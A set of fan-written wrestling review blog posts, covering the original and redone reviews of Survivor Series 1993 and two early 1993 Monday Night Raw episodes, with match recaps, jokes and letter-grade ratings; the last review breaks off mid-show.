Heenan apparently called Perfect no showing this and Vince says Heenan was right for once. Bobby: “FOR ONCE???” Ramon and Martel start things off with Rick working on the arm. They fight for the arm and hit the mat for a bit before popping back up. Razor slaps him in the face and rolls through a cross body for two. Martel gets caught in the fall away slam (BIG pop for that) for two.

Razor hits a pair of atomic drops and a clothesline for two. Off to Adam Bomb who shoves Ramon into the corner with ease. They collide and Razor is knocked down in a bit of a surprise. They have a test of strength with Bomb controlling again before Ramon fights up and suplexes Bomb down.

Jannetty and Kid celebrate with Ramon. Savage is off chasing Crush.

Hart Family vs. Shawn Michaels/Knights

Bret Hart, Keith Hart, Bruce Hart, Owen Hart

Shawn Michaels, Blue Knight, Black Knight, Red Knight

Blue stays on the arm including dropping a leg, followed by a hammerlock slam. Off to Shawn who misses a Rocket Launcher, allowing the tag to Bret, prompting Shawn to tag out to Red. Red immediately gets caught in a spinebuster and the Sharpshooter to make it 4-2. Blue comes in to clothesline Bret and both he and Keith are now hurt. Bret is thrown back in and suplexed down for two.

Bruce comes in and drops an elbow on Shawn for two. Bret is still getting up after the crash he took into the barricade. Bruce and Shawn hit head to head twice in a row to really stretch this thing out. Keith comes in with an abdominal stretch (including the toe around the ankle) but Shawn hip tosses out of it with ease. Back to Bret who pounds away and crotches Shawn on the top rope. Bret picks the leg but Shawn escapes the Sharpshooter and walks out for the countout.

Smokey Mountain Wrestling Tag Titles: Heavenly Bodies vs. Rock N Roll Express

Team Bam Bam Bigelow vs. Four Doinks

Bam Bam Bigelow, Bastion Booger, Headshrinkers

Bushwhackers, Men on a Mission

As Bigelow is leaving, Doink (whose performer has recently changed) pops up on screen to laugh at Bam Bam. The next step in this feud: a midget named Dink of course.

Before the match, we get a history lesson about Boston. No seriously, this happens. Thankfully it turns into some promos from the All Americans.

Foreign Fanatics vs. All Americans

Foreign Fanatics: Yokozuna, Crush, Ludvig Borga, Jacques

All Americans: Lex Luger, Undertaker, Steiner Brothers

Ludvig pounds on the ribs and whips Scott in the corner so he can clothesline Steiner down. Borga goes up top but gets suplexed back down for two. Yokozuna comes in and pounds away, but Scott gets in some offense. He tries the freaking Frankensteiner which goes about as well as you would expect it to, resulting in a legdrop from Yokozuna eliminating Scott to get us down to two on two.

Santa comes out to celebrate with Luger just like last year.

Ratings Comparison

Team Razor Ramon vs. Team IRS

Original: B

Redo: B

Hart Family vs. Team Shawn Michaels

Original: D+

Redo: D

Rock N Roll Express vs. Heavenly Bodies

Original: B

Redo: B-

Four Doinks vs. Team Bam Bam Bigelow

Original: N/A

Redo: Awe

All-Americans vs. Foreign Fanatics

Original: C-

Redo: D+

Overall Rating:

Original: C+

Redo: D

It was almost the same until the overall rating. I don’t get how it jumps up that high off just a few better grades.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/12/history-of-survivor-series-count-up-1993-usa-usa-usa/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Survivor Series Count-Up – 1993 (Original): The Coolest Flag Ever

IMG Credit: WWE

Survivor Series 1993
Date: November 24, 1993
Location: Boston Gardens, Boston, Massachusetts
Attendance: 15,509
Commentators: Vince McMahon, Bobby Heenan

So it’s a year later now and there are indeed a few changes. For one thing, Hogan is completely gone. He would appear in WCW in a few months time. Other than that, the evil Yokozuna is now world champion with Lex Luger being his main adversary. That’s your main event here tonight, as it’s the Foreign Fanatics vs. the All Americans. It’s a five match card that I remember very fondly for some reason.

There are some very good moments here along with some rather stupid ones. It’s an odd time for the company as they’re definitely in a transitional period here, with Yoko and Luger being the two main guys and Bret not far behind them. None of those three are incredibly huge stars at the moment, so this is a weird time for them. We’re back to the traditional Survivor Series formula though, so this should be a bit better than what we had in the very early 90s I guess. Let’s find out.

Before we get the standard intro, we see Vince and Bobby getting ready backstage. Vince says he smells bananas, which scares Bobby because it means Monsoon is around. He and Ross are doing Radio WWF tonight, which is either brilliant or very stupid and I’m not sure which. This would be Bobby’s last PPV before heading to WCW as well. The intro was an odd one with the skeleton of a building and the logo hanging from a crane. I have no idea what this was supposed to be.

Team IRS vs. Team Razor

Razor Ramon, Marty Jannetty, 1-2-3 Kid, Mr. Perfect
IRS, Adam Bomb, Diesel, Rick Martel

So the fourth man was supposed to be Mr. Perfect, but for some reason he’s gone. There are numerous reasons as to why he’s gone, but we’re not sure either way. Some say he was in rehab, some say he left due to steroid issues, some say he was hurt. We’re not sure either way, but he wouldn’t be seen again until Wrestlemania where he was supposed to start a feud with Luger, but he was gone after one appearance.

Anyway, Ramon says he has a substitute that has as much machismo as he does. Heenan says it’s some other punk, but as the music hits Heenan freaks out since it’s Randy Savage. The deal with Savage was that his friend Crush had gotten hurt by Yoko so he turned heel on Savage and beat the living heck out of him. Savage was TICKED and would do anything to get at Crush.

They would eventually have a last man standing match (kind of) at Mania. Crush was supposed to get a massive singles push but for some reason it never came. In the end that was a good thing because he was arrested and went to jail for a few years on weapons charges. Apparently Heenan called this sometime before and Vince says ok, ok you were right for once. FOR ONCE? Dag Heenan was great.

Oh yeah why are these people in this match. Shawn Michaels had been IC Champion but was suspended for failing a steroids test (which he to this day denies). To fill the void we had a battle royal with the last two people in it having a match and the winner of that won the IC belt.

Razor and Martel were your winners and then Razor won the title. Shawn kept his belt though so there were two belts. They were hung above the ring at Wrestlemania 10. You know the rest. As for the other guys, there’s no point to them being there. IRS and Razor had a mini feud that was blown off at the Rumble but that’s it.

Anyway, we start with Razor and Martel and Razor beats the tar out of him. Are you surprised? He tags out to Adam Bomb who I was always a mark for. He and Crush would later become Kronik in WCW. They do a test of strength and since he’s a heel, Bomb cheats. Oddly the bad guy is the face here. Anyway, Razor goes for a cover on Bomb but Martel runs in for a save with an elbow.

It hits Bomb and Harvey is kind of annoyed, so Martel hits him. Now we’ve got a big team brawl and for once, the faces let them fight. I’ve never gotten why they didn’t do that more often. When another team is fighting, why not let them do it and get a breather? Savage, being the only true big star on his team at that point, gets on the ropes and plays to the crowd here. And that is why Savage is better than anyone else in this match and better than most in history.

Old guys know how to get things done like that. See, today, most people have a chance like this and they just stand there. Savage, already getting hugs pops no matter what he does, plays to the crowd to try to get a bigger one. That sticks in people’s heads.

Instead of just sitting around doing nothing, he’s talking to the crowd, and there is nothing a crowd loves more than being acknowledged and being considered a small part of the match. It makes them feel special and the more a wrestler does that for them, the bigger star they’ll become.

Anyway, even Heenan acknowledges that this team might not work. Oh great it’s the 1-2-3 Kid against Adam Bomb. He might kill him. GO BOMB! Now Diesel gets to beat on him a bit. I’ve always liked Diesel. Savage gets tagged in to a huge pop. Heenan dubs him Captain Schizo. That’s just humorous. He beats up the heel team by himself, capping it off by slamming Diesel and hitting the elbow to pin him for the first elimination.

Vince says that this match has been confusing. Why is that? It’s been very simple to me at least. In a weird sequence, Savage uses a bunch of left handed clotheslines. That just looked odd. Heenan asks if Vince has ever cheated anybody. Vince says of course not. That needs no jokes whatsoever. At this point, Marty still hasn’t been in yet. Must be a bad coke attack or something. IRS and Martel switch while the referee is with Savage. Of course it is allowed.

Heenan asks if Vince wants to be WWF President. Why take the second best job? This has been pretty solid so far. As Savage is beating the tar out of IRS, Crush comes out. Savage hits the floor immediately and goes after him. While he’s distracted, IRS rolls up Savage to pin him. Crush leaves and Savage chases him off. He goes into the back and we stay with Savage for THIRTY SECONDS.

Dude, you know there is that pesky little match going on out in the ring? You might want to take a look at it. I guess not. I know it doesn’t sound long, but missing thirty seconds of a match is a long time. Think about it like this: Hogan picked up Andre and pinned him inside of 30 seconds. Yeah that’s not important though. We’re back now with Bomb against Jannetty. A Razor’s Edge takes out IRS. For those of you keeping score, it’s Jannetty, Kid and Razor against Martel and Bomb.

We get a big brawl as Razor goes for another Edge, but IRS hits Razor in the ribs with the briefcase. He gets counted out as a result. We now get Kid against Martel, and naturally Kid gets a lot better against a smaller guy. Apparently you beat him by putting out some cookies and milk. He’ll run out and you beat him. Heenan is so brilliant it’s unbelievable. Now it’s standard heel dominance with the faces looking for the hot tag.

That’s very basic but very good at the same time. Jannetty comes in finally and beats up Martel for awhile and then tags in Kid, which makes limited sense but I’m no drug addled professional. Kid pins Martel with a sunset flip and then Marty gets Bomb with one as well about 12 seconds later to win it. That was a fun finish.

Rating: B. This was a fun match. It’s not great, but it’s entertaining and it made sense. The faces won with quickness over the power team and Savage dominated. Also Razor, the singles champion in there, saved face and set up a bigger feud with IRS. That is what these things are supposed to do. Overall, this was fun and it worked quite well, making it a very good opener and a good sign for this show.

Todd is with Shawn, who says he’s the real IC Champion and then he insults Bret and his family. This is miles better than last year as he’s finally got the Heart Break Kid character down. We go to an interview with the Harts from earlier in the day. Ray Combs, a game show host, is the special celebrity here doing the interview.

He’s far less annoying than the majority of these people. For some reason Stu is wearing a Detroit Pistons jacket for no apparent reason here as the show is in Boston. That’s just odd. Shawn says he’ll take out Stu if he gets in the way. Remember that line.

Before we go to the ring, we have a short interview with the winners of the previous match, minus Macho.

Hart Family vs. Shawn/Knights

Bret, Keith, Bruce, Owen
Shawn Michaels, Blue Knight (Greg Valentine), Red Knight (Barry Horowitz), Black Knight (Jeff Gaylord/Glenn Jacobs)

We’re actually not sure who the Black Knight is. If it’s Jacobs, that’s Kane. If it’s not, then this is his career highlight. This was supposed to be Jerry Lawler, but he was up on rape charges (the girl admitted she made the whole thing up), so they threw Shawn in and tried to make it based on the match from last year, which is at least an attempt at a story. Combs does the introductions here, and is ok I guess.

He does some standard jokes about HBK, but this goes on WAY too long and the fans just aren’t interested. It’s not as bad as Kid Rock at Mania, but it’s pretty bad. It goes on about 5 minutes, which is FAR too long for this. We’re at 10 minutes for the intros alone. This is just stupid. Bret is wearing pink. Only he can pull that off. Combs does commentary for the match as well. Heenan is in top form here insulting the Harts.

Monsoon reminds me of my uncle for some reason. We start out with Bruce, so you can tell what this is going to be. He’s a history teacher. Oh dear. Keith, the fireman, comes in. This cracks Heenan up. We see the problem here very easily: the two unknown Hart aren’t very good. All they know how to do is an armbar here and there. It’s just rather boring. Seriously, were Neidhart and Bulldog not available? They would be about a million times better here.

Heenan keeps talking about how Owen is in the shadow of Bret. That would turn into one of the best heel turns I can ever remember. Black Knight in now and Owen kicks his teeth in too. Now we have Bret against the Blue Guy. Heenan keeps teasing that he knows who the Knights are. When asked about the Blue Knight, he says that he’s either the Blue Knight or Bob Barker. This is being written two days after Barker hosted Raw, so that cracked me.

Why are the two unknown brothers wrestling most of this match? Seriously, that’s just stupid. The commentary is by far and away the best part of this match. Combs is pretty good actually. Granted he has no clue what’s going on, but his timing and enthusiasm are there. That’s all I ask: at least pretend you want to be there. Check out Pamela Anderson at the 95 Rumble. She hates the whole thing and is there for a paycheck. I have no interest in celebrities like that, no matter what they look like.

We get a big brawl and the Black Knight is pinned by a top rope dropkick from Owen. Ray thinks it’s over, and I have no issue with that because he’s energetic. He genuinely seems like he wants to be there, and I’m fine with him being a bit off if that’s the case. I’ve never gotten the point of them mentioning that a show is live when we’re watching it. It’s like a commercial for the show you’re watching. You’ve already hooked us, so we don’t need it again.

Vince: Bobby Heenan, you’re a bad man. That sums it up perfectly I’d say. Heenan reminds Vince that this is Survivor Series and Vince says he knows what it is. I wonder if he wanted to say “I know what it is, I invented it you fat blowhard!” Ok, now Keith has been in there forever, and we’re back to the stupid part. He’s been in there like 5 minutes and it’s been all arm work. Why not instead use one of the best sellers of all time?

Oh yeah because it would make SENSE! Heenan makes another great point: the Harts don’t look alike. He’s very right actually. Make that seven minutes. FINALLY a missed Rocket Launcher and Bret gets in to breathe some life into this thing. Red Knight is tapping in about 10 seconds and it’s 4-2. Bret is knocked to the floor and Keith goes over to check him. That makes sense since he’s been beaten on for about 8 minutes and is more or less one armed at this point.

I guess Owen and Bruce were busy? On the floor Stu is trying to rub his arm back into socket, which for once makes sense from a manager. Heenan gets in my favorite line of the match: “Hey, you wanna know who the Blue Knight is?” Vince says he would like to. “He’s the guy in the ring that just dropped an elbow on Bret Hart.” Vince walked right into that one.

FINALLY we have Bret vs. Shawn, 18 minutes into the freaking match. Yep this just makes so much sense. That’s the theme of this match: how much sense can we make? Heenan makes an America’s Most Wanted reference. Combs says Bobby could star on America’s Most Unwanted. We have a rival for Heenan. Shawn does indeed go after Stu, and he gets POPPED. I don’t mean some love tap, I mean Stu smacks the taste out of Shawn and the crowd is into this all of a sudden.

That was awesome and makes up for the rest of this match. Shawn sells it at an amazing level of course since that’s what he does. That was great. Even Heenan kisses up to Stu for a bit. That’s all the proof you need right there. Owen Sharpshooter ends the Knights and it’s 4-1. Immediately, Shawn hits a big kick on Bruce, which is now known as Sweet Chin Music. However, here it doesn’t work.

Wow, Bruce has a tougher chin than Bret. Maybe we had the wrong Hart all along. Bret comes in and beats on him but gets poked in the eye. He tags Owen but walks on the apron for no apparent reason. Shawn sends Owen into the ropes and therefore into Bret who knocks down the railing. Owen is concerned and rolls Shawn up to make it 3-1. The Harts beat on Shawn for awhile after Owen is FREAKING out on him.

They beat Shawn up really badly as Stu tries to calm him down. I have never gotten what Owen’s problem was here. He got pinned. His team still won, and it was his fault that he hit Bret. He didn’t have to look down at him. Anyway, Shawn bails and the celebration is on. Owen comes back and yells at the Harts who leave without them.

This was the beginning of the Owen heel turn, which was excellent on so many levels, with the biggest one ever being Owen pinning Bret clean in the best opening match of all time at Wrestlemania 10. The feud would continue at the Rumble, with Bret trying to get Owen his first championship by teaming up with him to fight for the tag titles.

Bret wrestled with a knee injury and they actually stopped the match for it. Owen was mad and beat Bret up for it, which was the first time I agreed with a heel. It was Bret’s fault, not Owen’s. Oh yeah this match is over by the way. I’m just rambling on.

Rating: D+. This was just flat out BORING. It’s about 75% armbar. It’s a Chris Jericho joke apparently. Keith and Bruce were just flat out boring out there with no real offense at all, which is fine in that they hadn’t wrestled in years. That brings the question: WHY HAVE THEM? Seriously, all of the Harts are wrestlers. Were they all retired? Honestly, Neidhart at least would have made sense here. He’s a half brother and more importantly: HE WAS PASSABLE IN THE RING.

There’s history with him and Bret, and while he would play a role later in the angle, that wasn’t for almost a year. Seriously, they could have fit him in with him siding with Owen over this part of the feud. I don’t get it at all. Anyway, the match was just boring and it didn’t work that well. Shawn vs. Bret was good, but that’s all there was worth watching.

Gorilla and Ross are on commentary now.

We now get a random recap of the main event, despite there being two matches before that. Tatanka, who was undefeated for about two years got beaten up by Borga and Yoko to knock him out. He got replaced by a certain someone that I’ll get to at the time of the match.

To retaliate, Luger eliminated Pierre, which is somehow dumber than Luger is, so there we are. Pierre got replaced by Crush, which makes even less sense since he’s an American and was injured by the heels in the first place, but then again I’m no professional.

Smokey Mountain Tag Titles: Rock N Roll Express vs. Heavenly Bodies

Now this is a real headscratcher for about 10 reasons. Where to begin? Let’s see. For one thing, the Smokey Mountains are nowhere NEAR Boston. Second, what is Vince getting out of this? Cornette I suppose. Third, why aren’t we seeing the WWF Tag Titles defended here? Fourth, it’s freaking SMW. That just makes no sense. Fifth, why are Ross and Gorilla doing the commentary here?

Anyway, this is a very old school style match with the standard Midnights vs. RNRE formula: faces dominate early, heels take over and beat on Morton FOREVER until the hot tag and the very fast paced stuff from the Express and then the finish. Yeah I know that’s not much to go on, but it’s the generic yet great formula from the RNRE that made them and the Midnights the best act in the world. If you like modern tag wrestling, those four are who you have to thank for it.

It’s a very solid match of course, but it would have been perfect if it was Lane and Condrey or Eaton over there instead. The Bodies were a team that the WWF tried to make cool but they just never could pull it off. SMW was Cornette’s big attempt at running his own company and he did pretty well considering what he was up against. For one thing, wrestling was just bad when he tried to do it, but it ran nearly five years and he did pretty well with what he had.

Heck he’s got matches on Survivor Series. Anyway, this was the big feud in SMW, and while there it was the feud of the promotion, here’s it’s four guys that no one knows wrestling, and that’s the problem. No one knows these people and for the most part, no one cares. Boston has always been a WWF town, so this old school mentality and style is lost on them.

It’s a great match, but they just don’t get it and a big part of that is due to the wrestlers. It’s like Japanese wrestlers in America. If the people don’t get it, they’re not going to care. Anyway, after about 15 minutes, Cornette hits Gibson with the racket to give the Bodies the belts. Yeah that’s about it.

Rating: B. This was good, but like I said, the lack of anything close to recognition really hurt this one. The match is great, but most people that aren’t old school fans won’t like it. That hurt here too as the crowd only popped for big spots, which is fine for the most part, but they just sounded bored. That’s not fine.

The faces say that they’ll win tonight.

Four Doinks vs. Headshrinkers/Bastian Booger/Bam Bam Bigelow

Oh this isn’t going to be pleasant is it? The Four Doinks are Men on a Mission and the Bushwakers instead of you know, Doink and three other guys. Yeah that’s what we’re dealing with here. Doink is injured so we get these four. I have no idea which one is the most talented. Actually I don’t think any of them have talent so we’ll skip that part. Oh boy this is going to suck badly. Oh look it’s a comedy match. The Bushwackers have balloons.

Ooo good boy Samu bite them! Wait, what? He bit a balloon with water in it and it surprised him, leading to him getting rolled up. Ok, reasons why this is stupid. He’s a freaking savage and he’s scared of water? Second, couldn’t he see the water or feel the balloon actually weighing something? Booger comes in and beats on the faces for awhile and….there’s a banana peel in the ring. I’m pausing now to take some deep breaths.

There is no way that could happen is there? They couldn’t actually be planning on doing what I think they’re planning on doing could they? Someone tell me that’s not what they’re planning to do. I need to hear someone say it. Ok thank goodness: Booger just got pinned by a big splash instead.

That’s at least reasonable coming from the big fat tub of goo known as Mable. And Fatu just slipped on the banana and got pinned. That does it. Screw this. I have better things to do with my time than review a circus. Keep laughing Vince. I won’t be able to hear you.

Rating: N/A. I review wrestling. This wasn’t wrestling.

Cornette and the heel team have something to say. Cornette cuts perhaps the best promo I’ve ever heard him cut as he talks about the Foreign Fanatics’ strategy for tonight. He says that they see the face team as one man because they’re a unit. The Steiners are the heart of the team. If you take away a man’s heart, he has no energy or desire to do anything. The Undertaker is the mind of the team.

If you take away a man’s mind, he’s dazed and confused. Luger is the soul of the team. And if you take away a man’s soul, then you’ve defeated him. And that my friends, is why Jim Cornette is one of the best talkers of all time. Oh and Johnny “Raven” Polo is in the background. Dang talk about a character change. He would be Raven in less than a year.

Vince decides to give a clichéd history themed intro to this match. Yeah this is dumb.

Foreign Fanatics vs. All Americans

All Americans: Luger, Steiners, Undertaker
Foreign Fanatics: Yokozuna, Ludvig Borga, Crush, Jacques Quebecer (yes that’s what they call him)

First of all, since I love it so much, here’s the way the All Americans replaced Tatanka.

No real reason for that. I just really like it. Anyway, onto the match itself. After about 8 minutes of introductions (my least favorite part of these shows), we’re ready to go. Borga comes out to Nikolai Volkoff’s music. That might be the other way around. I’m not sure. In case I haven’t explained, the feuds were supposed to be Luger vs. Yoko, Tatanka vs. Borga and Steiners vs. Quebecers, which at least makes sense.

Due to either injuries or Vince being really high one night, this is what we’ve got instead. Heenan sees a sign that says Yokotuna. I’ve been calling him that for years and have never been able to figure out where I got it from. Now I have my answer. I knew there was a point to me watching this all over again. We start with more stalling as no two want to start. Scott and Pierre finally start us off. The heels have Fuji, Polo and Cornette at ringside.

In other words we have WWF, NWA and ECW out there. Well no one can say they didn’t incorporate everyone. Pierre offers a handshake and Scott gives the screw you sign. Yep Scott is a great role model. Yoko is world champion here which is pointed out as he comes in. Rick manages to knock him to the floor which is actually surprising. Ludvig comes in now and Rick manages to beat him up. Naturally since Rick is doing well, he gets eliminated about 20 seconds later.

Upon further review though, I think this was a legit injury. He hits a top rope shoulder block and Borga just kind of flips him over and pins him. You can tell Vince is surprised too. Yeah he’s limping out after nothing was done to his lower body so I’m thinking he pulled something.

In the main event with a guy dominating even the WWF isn’t dumb enough to get rid of him after just five minutes. Yeah that was a legit injury. It was WAY too fast to have been planned that way. Given the stalling now to buy time for Rick to get out of there, yeah I’m convinced this is an injury. Just to reiterate: I think it was a legit injury.

Scott hits a pretty nice double underhook suplex on Crush. We get word that Savage is back in the building. Is that really surprising? He was there earlier, so why would it be odd that he’s back? Yep here he comes. While this is happening, Crush picks up Scott and just drops him over the top rope. That was sick. They get Savage out and say he’s out of the building. I’ll be checking my watch now to see how long it takes him to get back. My bet is three minutes.

Heenan talks about how Fuji has turned Crush into a heel and that he can see some gold in his future. That likely would have happened had it not been for…some unknown reason. Initially he was supposed to have Luger’s role but I guess they thought Crush wasn’t ready or something and this is what you got instead. Dang it was only two minutes. Scott (called the Steiner) sends him to the floor and Crush goes after Savage.

This gets him counted out as the crowd is completely insane for this. This was begging for a big time cage match. Why in the world Savage was turned into a big bunch of nothing instead of the top face is beyond me. He clearly was still able to go as he would be winning world titles nearly seven years after this and he was WAY over, but I guess he was hanging out with Stephanie too much around this time and if you don’t get that reference, look it up.

Now it’s Pierre vs. Scott as Luger or Taker haven’t been in yet. Pierre gets a three by mistake but they say it was a two which anyone that can see or hear could tell you was incorrect. Vince keeps calling them the Quebecer and the Steiner. Luger finally comes in and an elbow from the second rope puts Pierre out. It’s 3-2 now if you’re keeping score. We get word that Savage has been throw out again and just as I’m getting ready to type it, Heenan asks how he keeps getting in. Is he Batman?

He suggests that Savage hangs out in the rafters. No Bobby that wouldn’t be for about 4 more years. Steiner and Borga have a decent battle as there is still no Taker in this match, which I guess makes something close to sense: save your big gun for the end. Steiner wants to try the Frankensteiner. Yeah that was just freaking stupid. He gets hit by a massive leg drop to end him and make it 2-2.

Luger and Yoko start with the rematch from Summerslam. The idea is that Luger isn’t allowed to have a rematch no matter what. Eventually he gets a rematch if he can win the Rumble, which he ties in. That could have been a great story if he ever actually won the title. It became like Jeff Hardy for awhile, but the difference was that Jeff finally won the freaking belt and gave us the awesome moment.

Luger never had that moment and it made the rest look bad by comparison. Heenan is asked where he gets his material and he says open your eyes. That’s just odd. After Yoko misses a splash, Luger makes the big tag to Taker and the fans are FREAKING OUT. A swinging DDT nearly kills Yoko and Borga nails him to try to break the momentum. Taker turns and just smacks him as if to say boy please I’m the dead man.

The big belly to belly gets nothing as Taker sits up to another huge pop. If you want to know one of the biggest reasons for why Taker got over, it’s called Bobby Heenan. He was awesome with putting him over. Yoko hits the Banzai then goes for a second and Taker sits up again. It’s just awesome all around as even Heenan can’t talk. Think about that for a second.

They fight to the floor, which is to say Taker beats on him for a bit longer as we get the inevitable double count out and we have our Royal Rumble main event. So it’s now one on one and I think you know the drill. It’s more or less a six minute match with the usual interference and the forearm ends it.

Yeah there’s nothing more to say about this. Just like last year, it starts to snow and freaking Santa Claus comes out. I have never gotten what they were going for with this and I think this was the last time that they did it which is likely a good thing.

Rating: C-. It was long and rather dull, but it did what it was supposed to do in advancing the stories. Luger beats Borga clean and Taker vs. Yoko is set. Also the fans went home happy and Luger looks big and invincible again so I can’t really complain. It could have been better but it certainly could have been worse so we’ll say it’s just below average.

Overall Rating: C+. There’s some good and some awful on here, so we’ll say it balances out. Some people would love this and some would hate it. I thought it was ok, but the comedy match was just a disgrace and the main event was just ok. The first match and the tag match were solid enough though.

There are definitely moments here where you’ll be bored out of your mind but there are moments where you’ll be entertained, which I think slightly outweigh the bad. That’s good enough for a mild recommendation I guess. It’s nothing special and it’s not horrible I suppose, but don’t expect to be blown away.

 

 

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Monday Night Raw – January 11, 1993: You Don’t Look A Day Over 26

This is old and horrible so I apologize in advance.

IMG Credit: WWE

Monday Night Raw
Date: January 11, 1993
Location: Manhattan Center, Manhattan, New York
Commentators: Vince McMahon, Rob Bartlett, Randy Savage

Well since it’s the anniversary of this, why not do it? Raw more or less ended SNME which I’ll do that last original episode soon enough, as in about an hour from now. This is the show that completely revolutionized wrestling as it was the first show to be aired weekly on prime time cable. The production values were WAY up also as the lighting and the effects were stuff that was unheard of. We’re gearing up for the 93 Rumble which kind of sucked but whatever. Let’s get to it.

Sean Mooney who I didn’t think had a job at this point welcomes us to the show and keeps Heenan from coming in. This would become a running joke on the first few shows until Monsoon threw him out of the company. The arena looks small but cool. Rob Bartlett was a comedian from the Don Imus show and he is easily the worst announcer of all time but to be fair, I’ve read some comments from him since and he completely admits that he was awful, so at least he’s not delusional.

Koko B. Ware vs. Yokozuna

Koko comes out to what would become Owen’s music which makes sense as they were partners around this time. I wonder what’s going to happen here. They say their first swear word on the air which might be a first in company history. The tag line was uncooked, uncut and uncensored. I never got the uncooked part. How is that appealing? Bartlett just makes fat jokes about Yoko which makes sense. Vince is about as excited as humanly possible to be here. Bartlett makes jokes implying that Koko is Gary Coleman which is kind of funny but just out of place here. After Koko gets in no offense for about 4 minutes, the Banzai Drop ends this.

Rating: N/A. It was a glorified squash which is fine. I’m not sure how good this was for the first match in history but that’s fine I guess. This was just to push Yoko so that certainly accomplished its job. A lot of the earlier shows were almost all squashes so get used to it.

Ad for the Rumble.

We get a prerecorded interview from Heenan who talks about Perfect being scared of Narcissus, who was more commonly known as Luger. Heenan is WAY too excited about Luger.

Steiner Brothers vs. Executioners

The Executioners are masked jobbers as if it matters. That goofy clown as Vince calls him is at ringside and gets too much attention. Apparently his name is Doink. As for the match, are you really expecting anything other than total destruction? Apparently Mitch Ferhat, a former Buffalo Bill, is coming to the WWF. He never got there. The Steiner Bulldog ends it.

Rating: N/A. It was more or less the same thing as we got a match earlier, but with two guys instead of one. This is fine as it establishes two dominant forces for new fans which is a good idea.

A woman says that she’s Bartlett’s aunt. Naturally it’s Heenan in drag. This simply does not get old.

Razor Ramon comes out for a “special” interview. He’s fighting Bret for the title at the Rumble in case you didn’t know. It’s exactly what you would expect it to be as it’s just Ramon talking about Bret and how he’ll win the title and we see a clip of him beating up Owen on Superstars, which is why Owen isn’t here tonight.

Ad for Headlock on Hunger, which was a charity thing they were doing at the time to feed hungry people in Somalia.

Tatanka likes the Headlock on Hunger.

Intercontinental Title: Max Moon vs. Shawn Michaels

Max Moon may or may not have been Konnan. Shawn is just getting used to being a midcard deal so don’t expect much here. I don’t think it’s him here as it might be Paul Diamond, who was one of the Orient Express. We get more and more New York jokes from Bartlett that only a handful of people would get. He was great on a morning talk show but WAY off on a wrestling show.

They get the three un line here twice in one match as they try so hard to get that over as a tagline before they realized it sucked. Bartlett, in something that blows my mind, does an impression of Mike Tyson calling into the show from prison. This goes on over two minutes. Make that three. THEY’RE STILL DOING IT.

Seriously they did this for half of the match. Is this supposed to be funny or something? Am I supposed to be amused? After what felt like forever, Shawn hits the kick and that stupid suplex that he was using as his finisher at the time for the pin.

Rating: C+. It was an average match, but it had the DUMBEST commentary in recorded history. The match gets bonus points for being ok with those voices going though so there we are.

Ad for WWF Mania, a Saturday morning show.

Gene does the control center for the Rumble, which more or less is him talking about the major matches and we get promos from some of the guys in said matches, in this case Shawn and Marty. This is short but it was very effective at summarizing the entire show into a 3 minute video. Well done. We run down some people in the Rumble and get comments from Perfect. Ok now this needs to end as it’s about five minutes now. This was the first winner gets a title shot and it’s at 4pm. That’s just odd.

We have an Amish man trying to get inside. Guess who it is. He asks if anyone knows how to get onto the roof. I feel like I’m watching a Trix Cereal commercial. Also, WHERE DOES HE GET THESE COSTUMES???

Kamala exists and that’s about it.

Damien Demento vs. Undertaker

Who else would you get to main event the first show? Bartlett makes fun of Taker and I’m already tired of him. Demento is the guy that freaked out on youtube recently and freaked out about modern wrestling. He’s annoying as all goodness and this is his career highlight. We go over the matches for next week and that’s about all that happens in this match. The Tombstone ends this quickly.

Rating: N/A. It’s like 3 minutes long and it’s more or less a squash. That’s not that interesting.

Doink sprays Crush with water to end the show.

Overall Rating: D+. This started off ok but it felt like there was no flow to it at all. It just wasn’t that good of a show as far as establishing people like it was supposed to do. This show definitely assumed that most people were long time fans of the show and that’s not a good idea to do on a brand new main show.

Still though, this is one of those shows everyone should see at least once as it truly did completely revolutionize wrestling. Definitely take a look at it if you never have before or just to compare it to modern wrestling and see how much things have changed.

Thomas Hall has been a wrestling fan for over thirty years and has seen over 50,000 wrestling matches. He has also been a wrestling reviewer since 2009 with over 5,000 full shows covered. You can find his work at kbwrestlingreviews.com, or check out his Amazon author page with 28 wrestling books. His latest book is the the Complete 1997 Monday Night Raw Reviews.

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Monday Night Raw – April 5, 1993: Who Needs Live When You Can Have Jim Brunzell?

IMG Credit: WWE

Monday Night Raw
Date: April 5, 1993
Location: Manhattan Center, New York City, New York
Attendance: 1,000
Commentators: Vince McMahon, Randy Savage

Opening sequence.

Virgil vs. Bam Bam Bigelow

During the entrances, Savage talks about Hogan winning the title last night. So either they did commentary later or they were a lot more trustworthy with some of the results. Virgil can’t get very far with the wristlock so he dropkicks Bigelow in the forearm as the fans tell Virgil that he sucks. For some reason Virgil tries a crucifix and gets crushed with a Samoan drop to change things up in a hurry.

We hit the chinlock as Vince gets in the required laughable line that Wrestlemania IX might be the best of all time. A headbutt sets up the neck crank and then a bearhug as this isn’t exactly thrilling. Virgil finally gets out and hits a bad looking missile dropkick for two. That’s enough for Bigelow, who headbutts him down and hits the top rope headbutt for the pin.

Rating: D-. There’s not much you can do with these two and they weren’t really going as hard as they could. Virgil was one of the weakest jobbers to the stars that I can remember and considering how bad some of them were, it’s covering quite a bit of ground. Bigelow wasn’t exactly at his peak here either and it wasn’t going to get any better for awhile.

Jerry Lawler comes out for his first ever WWF match but leaves over the BURGER KING chants.

Still at the backstage set of Wrestlemania, Mr. Fuji and Yokozuna have launched an official complaint about Hogan being the champion. There was no contract and therefore, no title change. Gene Okerlund tells us all that as Fuji and Yokozuna never actually talked.

Bob Backlund vs. Kim Chee

Chee is Kamala’s handler and probably played by Steve Lombardi (Brooklyn Brawler). Backlund’s handshake is declined so he trips Kim down with next to no effort. An elbow puts Backlund down and we’re already off to the chinlock. A sunset flip gives Chee two more and we hit the chinlock. Backlund fights up without much effort and hits some hiptosses. Chee tries a monkey flip but Bob rolls him up for the fast pin.

